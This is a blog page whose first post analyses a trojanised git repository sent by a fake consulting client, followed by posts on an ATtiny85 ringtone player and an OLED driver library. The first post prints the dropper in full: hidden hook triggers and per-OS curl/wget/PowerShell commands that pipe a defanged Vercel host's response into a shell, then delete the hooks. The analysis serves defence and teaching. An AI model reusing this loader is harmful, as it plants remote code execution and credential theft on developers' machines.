Tejashwi Kalp Taru

The git hook trojan: a client sent me malware hidden in .git/hooks

Wed, 15 Apr 2026 00:00:00 +0000

Every few weeks a prospect walks in with “a small project, quick review, tell us if you can build it.” Usually it is what they say it is. Sometimes it isn’t. Over the last couple of years I have gotten used to the rhythm of looking at these: scan the folder, grep for anything that shouts, open the scripts, read the build config, check the lockfile. Most of the nasty ones try to hide in package.json lifecycle scripts, or in some minified vendor.js that nobody is supposed to read.

This month’s one was different, on both ends. The lure didn’t arrive as a suspicious cold email, it arrived as a warm inbound lead that had already spent a week talking to our sales team. And the payload wasn’t anywhere in the working tree. There was no package.json, no build step, no script to grep. The malware was sitting inside .git/hooks/, in files I almost never open and the sender definitely did not want me to.

How it actually arrived

The social engineering layer is most of what made this dangerous, so it is worth describing before I get into the repo. It came through the front door. Someone filled out our contact form, got picked up by sales, and went through the normal opening dance any small consulting engagement goes through: a discovery call, a second call to talk about scope, a few emails about timelines and team size. None of that is suspicious, because for most of those conversations there is no code yet and nothing to attack. The “client” was polite, well-prepared, and answered questions the way a real technical stakeholder answers them. By the time the project reached me for an engineering review, sales had already built a comfortable rapport. I wasn’t starting from suspicion. I was starting from “sales thinks this one is real, take a look at the materials.”

The materials came a few days into the conversation, in a reply on the existing thread. The subject line was Re: Blockchain-Based Medical Supply Chain Platform, the email sat inside the same thread sales had been working, and it even had Gmail’s “important mainly because it was sent directly to you” banner on it. All the trust signals a user interface can hand you, stacked in a row.

Inside the email was a Dropbox link to a zip file, and a short, polite note asking for feedback on a handful of specific things: the overall system architecture and backend approach, the feasibility of the proposed development roadmap, and a view on the estimated MVP timeline. The writing is unremarkable in a good way. It sounds exactly like a non-technical stakeholder who has been briefed by an engineer and is trying to convey the scope of a prototype review. The ask is concrete, the framing is reasonable, and nothing about the tone feels off.

The zip itself, once downloaded, unpacked into a folder that looked like a normal early-stage project handoff: a README, a Word document describing the business problem, several PDFs of reference research, and an embedded git repository. Exactly the kind of bundle you get when a non-engineering stakeholder wants to give you “everything we have so far.”

One detail in the email I only appreciated later. Near the bottom, the sender writes: “When reviewing the documents, it would be helpful to focus on timeline-milestones.md and legal-commercial.md, as they outline the development phases, key milestones, and important project considerations.” That sentence is not there by accident. It is a direction-of-gaze trick. Pointing a time-pressed reviewer at two specific files means the reviewer spends their attention on those two files and skims the rest. Both files are entirely benign markdown. The files the attacker does not want you looking at are the ones under .git/hooks/. Magicians call this “watch my right hand.”

The sender was operating from madhulika.devanshi@nemoitsolutions.org, and the name on the email belongs to a real person who actually works at a real company. That real company is Nemo IT Solutions, headquartered at 801 E Campbell Road, Suite 320, Richardson, Texas. A proper US-based IT services firm with a website, a team page, offices, and a track record going back years. The person whose identity was borrowed has a LinkedIn profile and a bio on the real company’s site and nothing at all to do with any of this. Everything about the sender identity was lifted from a legitimate US company, except for one letter in the top-level domain.

.org instead of .com. That is the whole trick.

If you’re reading a sender address quickly, “nemoitsolutions” is the part your brain latches onto. The TLD slides past. You subconsciously fill in the familiar one. I have caught myself doing it on less careful days, and I know I am not alone, because phishing-awareness training has been hammering on this exact pattern for a decade and it still works.

The moment I got suspicious, the first thing I did was pull the whois record on the .org:

Seventeen days old. Parked name servers. No website. That is not a company domain, it is a throwaway used exactly long enough to run a fake sales conversation and deliver one zip file. The emails were never the point. The CRM entry was never the point. They were the envelope. The payload was the thing they wanted us to clone.

The identity theft layered on top is what makes this particularly ugly. The attacker didn’t invent a company, they borrowed one. Every sanity check a cautious person runs, “does this name exist, does this company exist, does the team page match”, comes back clean, because the real thing behind the costume is clean. The only evidence that anything is wrong is that one character in the TLD, and a whois record you have to actively go and pull.

I want to be explicit about one thing before moving on: the real Nemo IT Solutions and the real person whose name was used are victims here too. Nothing in this post is about them. They are just the costume the attacker put on, and they will probably only find out this is happening when a victim eventually calls their Richardson office asking why they shipped malware.

What git hooks actually are (short version)

When you run git commit, git checkout, git push, and a handful of other commands, git looks inside .git/hooks/ for a script with a matching name. If it finds one, and the file is executable, git runs it. No flags. No prompts. No “this repo wants to run code, is that okay.” The hook just runs, with your shell, as you.

A fresh git init drops a bunch of files in there called things like pre-commit.sample, commit-msg.sample. They are disabled on purpose: git only runs hooks without the .sample suffix. So the convention everyone learns is simple. If the filename ends in .sample, it is inert documentation. If it doesn’t, it runs.

The attacker in this repo weaponised both halves of that convention.

The layout

The repo was called Healthcare-Medical-Supply-Plan-0115. Branches master, docs, code, all created within a month of each other, all with a single commit message that just said upload. The committer was git <git@medicalhealthcarechain.com>. A domain name designed to look plausible if you squint, paired with the most generic username possible.

Inside .git/hooks/ there were four interesting files:

.git/hooks/ ├── commit-msg (executable) ├── post-checkout (executable) ├── pre-push (executable) └── post-rebase.sample (executable) 

The first three are the triggers. They are the files git will actually invoke. The fourth is where the damage lives, and its name is the first bit of trickery: .sample is supposed to mean “ignore me, I am a template”. It is the file you, the human reviewer, have been trained to skip.

Three triggers, not one

Most hook-based attacks I have read about use a single hook, usually post-checkout or pre-commit, and pray the victim runs that command. This attacker didn’t want to rely on a single workflow step. They wired up three:

post-checkout fires immediately after git clone finishes its checkout phase. You don’t even need to cd into the repo and run anything. The moment clone is done, the hook has already had a chance to run.
commit-msg fires on every git commit, no matter what the message is.
pre-push fires before git push can talk to the remote.

If you just peek at the files in the working tree, post-checkout already caught you. If you resist the urge to commit, pre-push catches you. If you never push but you do try to make a small change and commit, commit-msg catches you. It is three nets strung up across the three places a developer is most likely to walk.

The camouflage

I expected the hook files to be short, ugly shell scripts obviously doing something weird. They weren’t. Each of the three trigger files is about a hundred lines long, and almost every line is a verbatim copy of the comments you’ll find in the sample hooks that ship with git itself. Real documentation, real examples, the ones you would expect to see if you opened a template file.

Somewhere in that wall of comments, each file has exactly one live line. One. Here is what commit-msg looks like around the interesting part:

# the commit message, so you can add *new* suggestions for the # user if the template is updated to take the new commit message. # # With this workflow, you would want to know: sh "$(dirname "$0")/post-rebase.sample" >/dev/null 2>&1 & # (1) ... if a topic branch has ever been merged to "next". # (2) ... if a topic branch has ever been merged to "master". 

The live line sits between two comment lines, with no blank line above or below it. If you are skimming, it looks like part of the comment block. If you are scrolling with the cursor key, you blow past it. The >/dev/null 2>&1 & at the end means the victim will never see output, and the shell returns immediately.

post-checkout puts its live line as the very last active statement, after 52 lines of commentary. pre-push puts it mid-paragraph inside a long block comment about topic-branch workflows. Different positions for the same line, so pattern-matching on “last line of the file” or “first non-comment line” doesn’t catch all three.

All three lines do the same thing: sh post-rebase.sample, backgrounded, silent. They don’t contain the payload. They are pointers.

The dropper

post-rebase.sample is the actual payload, and it follows the same comment-camouflage trick. A hundred-odd lines of legitimate-looking documentation at the top, the real code in the middle, more documentation at the bottom so the file ends on an innocent note. The real code is about twenty lines.

Here is what it does, with my annotations:

platform="$(uname -s 2>/dev/null || echo "Unknown")" case "$platform" in Linux) (bash -c "wget -qO- 'https://cleverstack-ext30341[.]vercel[.]app/api/l' | sh" > /dev/null 2>&1 &) ;; Darwin) (bash -c "curl -s 'https://cleverstack-ext30341[.]vercel[.]app/api/m' | sh" > /dev/null 2>&1 &) ;; MINGW*|MSYS*|CYGWIN*) cmd.exe //c start "" powershell.exe -WindowStyle Hidden -Command \ "Start-Process cmd -ArgumentList '/c curl.exe -s https://cleverstack-ext30341[.]vercel[.]app/api/w | cmd' -WindowStyle Hidden" 2>&1 & ;; *) (bash -c "curl -s 'https://cleverstack-ext30341[.]vercel[.]app/api/m' | sh" > /dev/null 2>&1 &) ;; esac tmp_dir="${TMPDIR:-/tmp}" echo "0115" > "$tmp_dir/.git-checker" rm -f "$(dirname "$0")/commit-msg" \ "$(dirname "$0")/post-checkout" \ "$(dirname "$0")/pre-push" \ "$0" 

(I have defanged the domain with [.] so you can’t click it by accident.)

Four steps, and every one of them is doing a job.

uname -s picks the OS branch. The author wrote separate payloads for Linux, macOS, Windows (under MSYS/Cygwin/Git Bash) and a catch-all fallback. This is not a shotgun that sprays at one platform. It is engineered to work on whatever machine a software developer happens to be sitting in front of.

Each branch then fetches a platform-specific URL and pipes the response straight into a shell. curl | sh, wget | sh, powershell -Hidden. No file touches disk. Whatever comes back from the server runs immediately, under the user’s account, with the user’s environment variables and credentials. The endpoints are /api/l, /api/m, /api/w, which tells you how confident the attacker is that they can serve different payloads per OS.

The C2 is on vercel.app. That is the same Vercel you deploy your Next.js site to. It is a legitimate, widely trusted CDN, and network monitoring rarely flags traffic to it because half the internet’s marketing pages live there. The choice is deliberate. If the attacker had used a sketchy VPS in an unrelated TLD, any serious corporate egress filter would have blocked it. vercel.app sails through.

Next line, the script writes the string "0115" to /tmp/.git-checker. That number matches the suffix on the repo folder (Healthcare-Medical-Supply-Plan-0115), so I am almost certain it is a campaign identifier. This is the same attacker running the same playbook against many developers, with a different numeric tag per campaign so they can correlate which lure caught which victim.

And then the last line deletes all four hook files, including itself. That is the part I find most unsettling. After one run, there is nothing left in .git/hooks/ for you to inspect. If you came back an hour later and checked, the directory would look completely normal. The only artifact is /tmp/.git-checker with a four-character string in it, and if you are not specifically looking for it you will never notice.

What the remote payload actually is, and why we can’t know

I did not run the payload. I am not going to run the payload. What I can say is what attackers in this class of operation typically do once they have code execution on a developer’s machine, because the pattern is well documented:

Grab ~/.ssh/ and ~/.gitconfig to harvest SSH keys and git credentials. Anyone whose personal SSH key unlocks company GitHub orgs has just handed over the company.
Scrape ~/.aws/credentials, ~/.config/gcloud/, ~/.npmrc, ~/.pypirc, environment variables. Cloud keys, package registry tokens, CI tokens.
Drop a persistence layer: a cron job, a LaunchAgent on macOS, a systemd user unit on Linux, a scheduled task on Windows. Something that re-establishes a connection even after the hook files are gone.
Stage for lateral movement. A developer’s machine usually has SSH access to dev and staging, sometimes prod, and almost always to the git provider with write permissions on dozens of repos. That last one is how you turn one compromised laptop into a real supply chain attack against the developer’s employer and their employer’s customers.

The Vercel endpoint could serve any of these, and could serve different things to different victims, and could change at any moment. That is the other reason the curl | sh model is attractive to attackers: the payload is never fixed, so static analysis of the repo tells you nothing about what will actually run.

Why this is harder to catch than it should be

When I talk to other engineers about this one, the first reaction is usually “well, I would have seen it.” Maybe. I want to push back on that a little, because I think the attacker has thought about this harder than we want to admit.

The working tree review tells you nothing. There is no package.json, no setup.py, no Makefile. You cannot even grep the source for curl or wget because the source is the documentation and a Word doc. The whole point of this approach is that your normal review instincts are pointed at the wrong directory.

.git/hooks/ is not something most people open. Even when they do, they look at the filenames, see a bunch of things ending in .sample, and move on. I have been using git for twelve years and I could not have told you, without checking, whether git runs a file called post-rebase.sample. (It doesn’t. Which is why the attacker renamed the real payload to end in .sample, so even a careful reviewer who opens it thinks it is a template.)

And the three trigger files are not short scripts that obviously look wrong. They are long files that obviously look right. Each one is ninety-nine percent real git documentation, and the one percent that isn’t is dressed up as a comment. If I had opened commit-msg and scrolled through it, I am maybe sixty percent confident I would have caught that line on the first pass, and I was actively looking for suspicious hooks at that point. If I had been reviewing casually, I would have missed it.

The multi-trigger design is the piece I admire most, in the “admiring the architecture of a trap that almost caught you” sense. Even if you happen to disable the hooks you checked, the next git command in a different code path would have fired the one you didn’t. And because the dropper deletes everything after a single run, post-hoc forensics on a machine that was hit a week ago are basically impossible.

How we handle client code, and why that saved us

I want to be careful here, because the last thing I want to do is write a “lessons learned” section that implies I was careless before and wise after. I wasn’t careless. We have always treated client code as untrusted by default, because anyone who has spent more than a couple of years doing consulting has at least one story about a “harmless sample project” that turned out to be something else. The reason this post exists is that the attacker was clever enough that the usual process was the only thing between us and a compromised workstation. So I want to write down what that process actually is, in case it is useful to anyone else running a small shop.

Rule one: client code never touches a machine that has credentials on it. Not my laptop, not a teammate’s laptop, not anything that is logged into GitHub with my SSH key or has an AWS profile sitting in ~/.aws. We keep a small pool of dedicated review boxes for this. Some are plain VirtualBox VMs, some are cloud instances we spin up on demand, and for the lightest cases we use throwaway Docker containers on an otherwise empty host. The specific technology is not the point. The point is that the environment has nothing worth stealing and can be destroyed without thinking about it.

Rule two: the review environment gets reformatted every single time. Not “cleaned.” Not “reset to a snapshot from last month that also had three other clients’ code on it at some point.” Wiped. A fresh install, fresh clone of whatever baseline tooling we need, and nothing else. If it is a VM, we blow the disk image away and build a new one from a known-good template. If it is a cloud instance, we terminate it and provision a new one. Docker is nice for this because docker run --rm does most of the work for you, but only if you resist the urge to mount your home directory into the container, which defeats the entire point.

Rule three: no network egress that we haven’t thought about. A review VM does not need to reach arbitrary hosts on the internet. It needs to reach the git host the code came from, and maybe a package registry, and that is usually it. On the VMs we use seriously, egress is filtered. If the attacker’s payload in this sample had been allowed to run, the curl to cleverstack-ext30341[.]vercel[.]app would have been a connection to something that was not on our allowlist, and the review machine would have shown that connection in its logs even if the payload finished silently. Having somewhere to look after the fact matters almost as much as not running the thing in the first place.

Rule four: even inside the disposable environment, we prefer to read before we run. This is the same instinct I wrote about in an introduction to software reverse engineering, just pointed at a shell script instead of a Windows binary. For a git repo specifically, that means cloning with git clone --no-checkout so the initial checkout phase does not fire, and reading files through git show and git log -p instead of materialising a working tree. It means opening .git/hooks/ before opening anything else and treating every file in there as hostile regardless of extension, because after this one I am never going to assume .sample means inert again. A one-liner like

find .git/hooks -type f -exec wc -l {} \; -exec head -5 {} \; 

is enough to catch the “why is this supposedly-template file 130 lines long and executable” case, which is exactly the question I would have been asking if I had opened post-rebase.sample cold.

Rule five, and this one is the cheap win I want everyone reading this post to take away even if they skip the rest: set core.hooksPath globally.

1 git config --global core.hooksPath ~/.git-hooks-global

Once that is set, git ignores the .git/hooks/ directory inside every repo you touch and only runs hooks from the directory you point it at. The attacker’s hooks stay on disk. They just never fire. You lose the ability to use per-repo hooks, which is a real trade-off if you work on projects that ship legitimate ones, so this is not something I would recommend forcing on a whole engineering team for all their repos. But for the specific case of “someone I do not fully trust just handed me a zip file and I want to take a look,” it is the single most effective one-line defence I know of. Think of it as the git equivalent of “don’t open attachments from strangers.”

Any one of those controls on its own is worth something. All of them together is what turns a well-engineered trap into a curiosity I can write a blog post about, instead of an incident response I am writing an internal post-mortem about.

There is one more habit I am adding after this: treat “zip with no real source files” as a flag, not a relaxing signal. A folder where the working tree is nothing but a README, a Word doc, and some PDFs used to mean “probably a stakeholder who just wants an estimate.” After this one, it is the exact shape of the trap, and the next time I see it I am opening .git/hooks/ before I open anything else.

What the security press published a month later

I put this post up on 15 April. On 13 May, SOC Prime published an analysis of a campaign that abuses git hooks the same way, and over the following weeks the same story went round the security press under the names Contagious Interview and TaskJacker, attributed to the Lazarus Group. The payloads they name are BeaverTail and InvisibleFerret, both of which the same reporting ties to earlier operations by that group.

I am not going to tell you my sample was Lazarus. I do not have the evidence for that, and neither does anybody working only from what I have. What I can do is put the two side by side, because the overlap is close enough to be worth writing down, and the differences are interesting on their own.

What lines up:

Git hooks as the execution vector, which is the whole point, and still the part I find genuinely novel.
A Vercel subdomain as the C2, for the same reason I described above. It is a trusted host that egress filters wave through.
Per-OS endpoints on that host, selected by fingerprinting the machine before anything is fetched.
curl or wget piped straight into a shell, so nothing lands on disk.
The target is a working software developer, reached through a conversation that has a plausible reason to hand over a repository.

What does not line up:

Their hooks sit in a tracked .githooks/ directory, which only fires if the repo or the developer has pointed core.hooksPath at it. Mine were in .git/hooks/, inside an embedded git directory shipped in a zip. That difference matters more than it looks. git clone does not carry hooks, so cloning a hostile repo the normal way cannot do this to you. Being handed a zip with a .git folder already inside it can, and that delivery path had not occurred to me before this one landed.
Their endpoints are /settings/mac?flag=5 and siblings. Mine were /api/l, /api/m, /api/w.
Their lure is a fake coding assessment from a fake recruiter, usually themed around crypto or DeFi. Mine came in through our sales pipeline as a healthcare supply chain project, from a domain impersonating a real US IT firm, after two discovery calls.
I have not seen the self-deleting dropper or the campaign counter in /tmp/.git-checker described in any of their write-ups. That may only mean nobody has published on this variant yet.

Same tradecraft, different delivery, and I would not claim more than that. It could be the same operators running a second lure aimed at consultancies instead of job seekers. It could be a different group that read the same reporting and copied a good idea, which happens constantly. Attribution is a job for people with telemetry I do not have.

The reason I am adding this section at all is that none of it changes what you should do. If you set core.hooksPath, it does not matter whose campaign it was. That is the useful thing about defending against a technique instead of an actor.

The published research, if you want it: SOC Prime’s analysis of the git hooks loader, and the coverage at gbhackers.

Closing thought

The reason this one bothers me more than the usual malicious-npm-package story is that the victim does not have to do anything wrong. They don’t npm install a random dependency. They don’t run a strange shell script. They don’t even open a file. They run git clone on a URL someone sent them, which is an operation every developer performs dozens of times a week without thinking. git clone is not supposed to execute arbitrary code. The attacker found a corner of git’s design where, technically, it can.

I don’t think this is a git bug. Hooks are a useful feature, and making them opt-in would break real workflows for real people. It is a sharp edge, and the problem is that almost nobody in our industry is taught about it until the day someone tries to use it on them. The attackers have clearly noticed. We should probably catch up.

All code in this post was reproduced from a real malware sample for defensive-research purposes only. The C2 domain has been defanged. If you work in incident response and want the full IOCs, reach out.

Nokia Composer on ATtiny85: ringtones on a chip the size of a fingernail

Tue, 31 Mar 2026 00:00:00 +0000

If you grew up in the late 90s or early 2000s, you probably remember the Nokia Composer. Not as an app, not as a feature on some settings page. You remember it as the thing you opened on a Nokia 3310 during a boring class, punching in notes one at a time, trying to recreate a song from memory. No internet to look up the notes. No copy-paste. Just you, the keypad, and your ear.

The ringtones were monophonic. One note at a time. Square wave through a tiny piezo speaker. They sounded awful by any reasonable standard. But somehow, when the Imperial March came through that speaker – tinny and flat and about as musical as a smoke detector – you recognized it instantly. Everyone on the bus did too.

People shared ringtones by texting the note sequences to each other. Not audio files. Text. Something like:

1 16e2 16d2 8#f 8#g 16#c2 16b 8d 8e 16b 16a 8#c 8e 2a 2-

That’s the Nokia Tune. The one that shipped on every Nokia phone and became one of the most recognized melodies in the world. All encoded in a string shorter than a tweet.

I wanted to bring that back.

Why

I’ve been maintaining ssd1306xled, a lightweight OLED driver for the ATtiny85 and similar constrained microcontrollers. I wrote about its history a few months ago, and about the handheld game console that made me fix it in the first place. The library recently hit its first proper v1.0.0 release. Contributors have submitted pull requests, the CI pipeline is solid, the documentation is actually useful. It feels like a real project now.

With the v1.0.0 milestone behind me, I wanted to build something fun. Something that shows off what the library can do on minimal hardware. Not another LED blinker. Something with personality.

I stumbled on zserge’s Nokia Composer, a web-based recreation of the Nokia 3310 ringtone editor. You type in note sequences and it plays them back with that familiar square-wave sound. The whole thing runs in about 500 bytes of JavaScript. Looking at it, I thought: if this fits in 500 bytes of JS, it should fit on an ATtiny85. An 8-pin chip with 8KB of flash, a tiny OLED, and a piezo buzzer. Nokia Composer in hardware.

The notation

Before getting into the build, it helps to understand the notation. Nokia Composer uses a space-separated format where each token describes one note:

The format is [duration][.][#][note][octave]:

Duration: 1, 2, 4, 8, 16, or 32. These are fractions of a whole note. An 8 is an eighth note. A 2 is a half note. Default is 4 (quarter note) if you leave it out.
Dot: A . after the duration makes it a dotted note – 1.5 times the normal length.
Sharp: A # raises the pitch by one semitone.
Note: A letter from a through g. Or - for a rest (silence).
Octave: 1, 2, or 3. Default is 1. These map to piano octaves 4, 5, and 6.

So 8.#f2 means: dotted eighth note, F-sharp, octave 2. In musical terms, that’s F#5 at 1.5 times the duration of a regular eighth note.

The beauty of this format is density. The entire Nokia Tune fits in 56 characters. Harry Potter’s Hedwig’s Theme fits in about 200. You can store dozens of songs in a few kilobytes of flash.

Fitting it on an ATtiny85

The ATtiny85 has eight pins. One is VCC, one is GND, one is RESET (not usable as GPIO without fuse hacking). That leaves five. Here’s how they’re all spoken for:

Pin	Function
PB0	I2C data (SDA) to OLED
PB2	I2C clock (SCL) to OLED
PB4	Piezo buzzer
PB1	“Next tune” button
PB3	“Play” button

Five pins, five functions, zero slack. The constraints shaped everything else.

The parser

The tunes live in PROGMEM (flash memory) as plain strings. The parser reads them one character at a time using pgm_read_byte() – no string copies, no intermediate buffers, no RAM allocation. It walks through each token, extracts the duration, dot, sharp, note letter, and octave, then hands those off to the frequency and duration calculators.

The whole parser is about 200 bytes of compiled code. On a chip where every byte counts, that matters.

// Read next note token from PROGMEM string at *pos. static bool parse_next_note(const char *pgm_str, uint16_t *pos, Note *out) { uint8_t ch; // Skip spaces while ((ch = pgm_read_byte(pgm_str + *pos)) == ' ') (*pos)++; if (ch == '\0') return false; // Duration digits uint8_t dur = 0; while (ch >= '0' && ch <= '9') { dur = dur * 10 + (ch - '0'); (*pos)++; ch = pgm_read_byte(pgm_str + *pos); } out->duration = dur ? dur : 4; // Dotted out->dotted = 0; if (ch == '.') { out->dotted = 1; (*pos)++; ch = pgm_read_byte(pgm_str + *pos); } // Sharp, note letter, octave follow... 

Each parsed note exists only as a handful of local variables on the stack. Nothing gets stored. Parse a note, play it, move on. The RAM footprint is essentially zero beyond the stack frame.

Frequency mapping

I needed to convert note names to frequencies. The standard approach is a lookup table with every frequency pre-calculated. For three octaves of twelve semitones each, that’s 36 entries at 2 bytes each – 72 bytes. Not terrible, but unnecessary.

Instead, I store one octave of twelve base frequencies (C4 through B4) in PROGMEM – 24 bytes. Then I use bit-shifting for octaves:

static const uint16_t base_freq[12] PROGMEM = { 262, 277, 294, 311, 330, 349, // C4 C#4 D4 D#4 E4 F4 370, 392, 415, 440, 466, 494 // F#4 G4 G#4 A4 A#4 B4 }; uint16_t freq = pgm_read_word(&base_freq[semitone]); if (octave == 2) freq <<= 1; // multiply by 2 else if (octave == 3) freq <<= 2; // multiply by 4 

Bit-shifting is a single clock cycle on AVR. No floating point, no pow() calls. The resulting frequencies are within 1Hz of the mathematically correct values – close enough that no human ear could tell the difference through a piezo buzzer.

A separate 7-byte table maps note letters to their semitone index within an octave. C maps to 0, D to 2, E to 4, and so on. Add 1 for sharps. Total flash cost for the entire frequency system: 31 bytes.

Duration math

The original Nokia Composer calculates note duration as:

1 total_ms = 240000 / BPM / duration_value

For dotted notes, multiply by 1.5. On the ATtiny85, I avoid the floating point by using integer math:

uint32_t ms = 240000UL / bpm / n->duration; if (n->dotted) ms += ms >> 1; // +50% via bit shift 

At 120 BPM, a quarter note lasts 500ms. An eighth note, 250ms. A sixteenth, 125ms. These durations control the buzzer timing.

The square wave

Sound on the ATtiny85 is direct and physical. There’s no DAC, no audio codec, no PWM-to-analog conversion. The chip toggles a pin high and low at the target frequency, and a piezo buzzer converts those voltage swings into sound.

static void play_tone(uint16_t freq, uint16_t duration_ms) { if (freq == 0) { // Rest: just wait for (uint16_t i = 0; i < duration_ms; i++) _delay_ms(1); return; } uint16_t half_period = 500000UL / freq; uint16_t cycles = ((uint32_t)freq * duration_ms) / 1000; for (uint16_t i = 0; i < cycles; i++) { PORTB |= (1 << BUZZER_PIN); delayMicroseconds(half_period); PORTB &= ~(1 << BUZZER_PIN); delayMicroseconds(half_period); } } 

For A4 (440Hz), the half-period is 1136 microseconds. The pin goes high for 1136us, low for 1136us, 440 times per second. That’s a perfect square wave – the same waveform the original Nokia phones produced.

The 70/30 rule

Here’s a detail that took me a while to get right. If you play each note for its full duration and then immediately start the next note, it sounds wrong. Too smooth. Too connected. Nokia ringtones have a distinctive staccato quality – each note is clearly separated.

I dug into zserge’s JavaScript implementation to understand why. The source is about 20 lines of code. The relevant part:

t = t + d*7; // note ON for 70% of duration v(g.gain, 0); // mute t = t + d*3; // silence for 30% of duration 

Every note plays for 70% of its duration. The remaining 30% is silence. That gap between notes is what makes Nokia ringtones sound like Nokia ringtones. Without it, the Nokia Tune sounds like an organ. With it, it sounds like a phone.

I initially used 90/10. Too legato. The tunes sounded vaguely right but not recognizably Nokia. Switching to the 70/30 split made an immediate difference. Mission Impossible’s opening rhythm went from muddy to crisp.

The timing problem

The first version had a bug that manifested as a subtle drag in faster tunes. The loop for each note went: update display, play tone, wait for gap. The display update writes to the OLED over I2C – clearing pages, drawing the note name, rendering a pitch bar, updating the scrolling history. All of that takes time. About 20-30 milliseconds.

For a whole note at 120 BPM, 25ms of overhead in a 2-second note is barely noticeable. For a sixteenth note at 100 BPM, 25ms in a 150ms note adds 17% to the duration. That’s audible. Mission Impossible sounded sluggish. The rhythm dragged, especially during the fast repeated phrases.

The fix was to rearrange the sequence. Instead of display-then-tone, the code plays the tone first, then uses the silent gap to update the display. A millis() measurement tracks how long the display update takes, and the remaining gap time is adjusted accordingly:

play_tone(freq, tone_dur); // Update display during the silent gap unsigned long t0 = millis(); draw_playback(&n, tune_idx); unsigned long elapsed = millis() - t0; if (gap_dur > elapsed) { play_tone(0, gap_dur - elapsed); } 

The display update gets absorbed into time that was going to be silence anyway. No extra latency between notes. The rhythm stays tight.

The display

The OLED shows two screens. While idle, it displays the current tune name, its index in the list, and button hints (“A:Next B:Play”). During playback, it switches to the current note name, a horizontal pitch bar that stretches wider for higher frequencies, and a scrolling history of the last six notes along the bottom.

I went with the 6x8 pixel font exclusively. The larger 8x16 font looks nicer, but it pulls in 1,722 bytes of font data. On an 8KB chip, that’s over 20% of total flash consumed by letter shapes. The 6x8 font is 576 bytes and perfectly readable on a 128x64 screen.

One thing I learned: centering text on the OLED requires knowing the string length in advance. The font is 6 pixels wide per character, the screen is 128 pixels wide. A quick calculation at draw time positions the text properly. Not hard, but the kind of thing you don’t think about until “Mission Impossible” overflows the first line and wraps into garbage on the second.

Seven tunes in 59% flash

The current build carries seven tunes:

Tune	BPM	Notes
Nokia Tune	120	The original. Everyone knows it.
Harry Potter	125	Hedwig’s Theme. The dotted notes give it that waltz feel.
Imperial March	112	Darth Vader’s entrance music. Heavy on the low A’s.
Mission Impossible	100	The one with the iconic 5/4 rhythm. Fast sixteenth notes.
Nacht	125	Lots of thirty-second note trills that test the parser.
Star Wars	100	The main theme. Opens with those three repeated C-sharps.
Airtel	140	The Indian telecom jingle. Higher BPM with dotted eighth patterns.

All seven tunes, plus the parser, frequency tables, display code, button handling, and the ssd1306xled library, fit in 4,822 bytes. That’s 59% of the ATtiny85’s flash. There’s room for about 15 more tunes before things get tight.

Adding a new tune is one PROGMEM string and a BPM value:

static const char tune_name[] PROGMEM = "My Tune"; static const char tune_data[] PROGMEM = "4c 4d 4e 4f 4g 4a 4b 4c2"; 

The Nokia Composer notation is human-readable enough that you can transcribe tunes by ear, or find thousands of transcriptions online from the era when people actually did this for fun.

Try it

The whole thing runs in your browser. No hardware needed. I put it on Wokwi:

Nokia Composer on Wokwi

Click “Play” to start the simulation. The blue “Next” button cycles through tunes. The green “Play” button starts playback. You’ll hear the buzzer through your speakers.

The library is at github.com/tejashwikalptaru/ssd1306xled, and the documentation site has the full API reference.

The thing about square waves

There’s something I keep coming back to about this project. The Nokia 3310 was released in 2000. It had a monochrome screen, a piezo buzzer, and enough processing power to play Snake. The ringtones were square waves – literally the simplest possible waveform. On and off. High and low. Binary, in the most literal sense.

Twenty-six years later, I’m playing those same square waves through a chip that costs less than a dollar, displayed on an OLED that would have been science fiction in 2000. The notation strings that people used to text each other still work. The format is so simple it’s almost impossible to break.

The Nokia Tune, compressed into 56 characters of text, played through an 8-pin microcontroller the size of a fingernail. The tunes survived because they were small enough to share, simple enough to remember, and annoying enough to never forget.

I think that’s worth building.

The journey of ssd1306xled: from debugging to open source maintenance

Tue, 03 Feb 2026 00:00:00 +0000

I had some ATtiny85 chips lying around my desk. These 8-pin microcontrollers are popular for small projects: 8KB of flash, 6 GPIO pins, and enough grunt to run simple games. I wanted to build something with them.

I found Daniel Champagne’s TinyJoypad project. Daniel had written several games for the ATtiny85’s constraints. Space shooters, platformers, puzzle games. All running on a chip smaller than a fingernail, displayed on a tiny OLED screen. I decided to build my own handheld console.

I wrote about the hardware build back in 2020. This post is about what happened after.

Nothing on screen

The project seemed straightforward. Wire up the ATtiny85, connect an SSD1306 OLED display, compile Daniel’s code, play some games. The code compiled without errors. I uploaded it to the chip.

The screen stayed black.

I tried different OLED modules. I had several from AliExpress and Banggood. All of them showed nothing. I connected the same screens to an Arduino Uno using Adafruit’s library. They all worked. The screens weren’t broken. The driver was.

Daniel’s code used ssd1306xled, a lightweight library designed for ATtiny chips. I pulled up the code and started reading.

Down the rabbit hole

The ssd1306xled library came from the TinuSaur project on BitBucket, written by Neven Boyanov. It’s a minimal OLED driver for resource-constrained microcontrollers, which made it a good fit for the ATtiny85’s 8KB flash limit.

My first suspicion was chip compatibility. Many OLED screens from Chinese suppliers claim to use the SSD1306 controller but actually use SSD1315 or SSH1106 variants. These chips are similar but have slightly different initialization sequences. The TinuSaur team had documented compatibility issues with mislabeled screens.

I cloned the original BitBucket repository and tried various initialization sequences. Nothing worked. I documented my findings in issue #5 on the TinuSaur project.

After more debugging, I realized the problem wasn’t the OLED chip variant at all. The I2C implementation was broken.

I2C is a communication protocol that lets microcontrollers talk to peripherals like OLED screens. The ATtiny85 doesn’t have dedicated I2C hardware. Instead, it has a Universal Serial Interface (USI) that can be configured to behave like I2C. Getting this configuration right is tricky. Timing matters. The sequence of start conditions, acknowledgments, and stop conditions has to be precise.

The ssd1306xled library’s USI configuration wasn’t generating proper I2C signals. The OLED controller never received valid commands because the protocol was malformed.

The fix

I couldn’t just switch to a different library. The ATtiny85 has 8KB of flash. Daniel’s games used about 6KB. That left roughly 2KB for everything else, including the OLED driver. Libraries like Adafruit’s SSD1306 or Tiny4kOled are well-tested, but they’re too large. They would push the compiled code over the 8KB limit.

I needed ssd1306xled to work. I needed its small footprint. I just needed the I2C implementation to function.

I found TinyI2C by David Johnson-Davies. Unlike the standard Arduino Wire library, TinyI2C was written for resource-constrained AVR chips. No buffers eating up RAM. No artificial limits on transfer sizes. Clean, minimal code that properly configured the USI for I2C communication.

The fix was surgical: replace ssd1306xled’s broken I2C functions with TinyI2C’s implementation.

The key functions:

I2CInit() configures the USI registers for two-wire mode. It sets up the data and clock pins with proper pull-ups and clears the status flags.

I2CStart() generates the I2C start condition by releasing SCL, pulling SDA low, then transmitting the slave address. It checks for acknowledgment from the OLED controller.

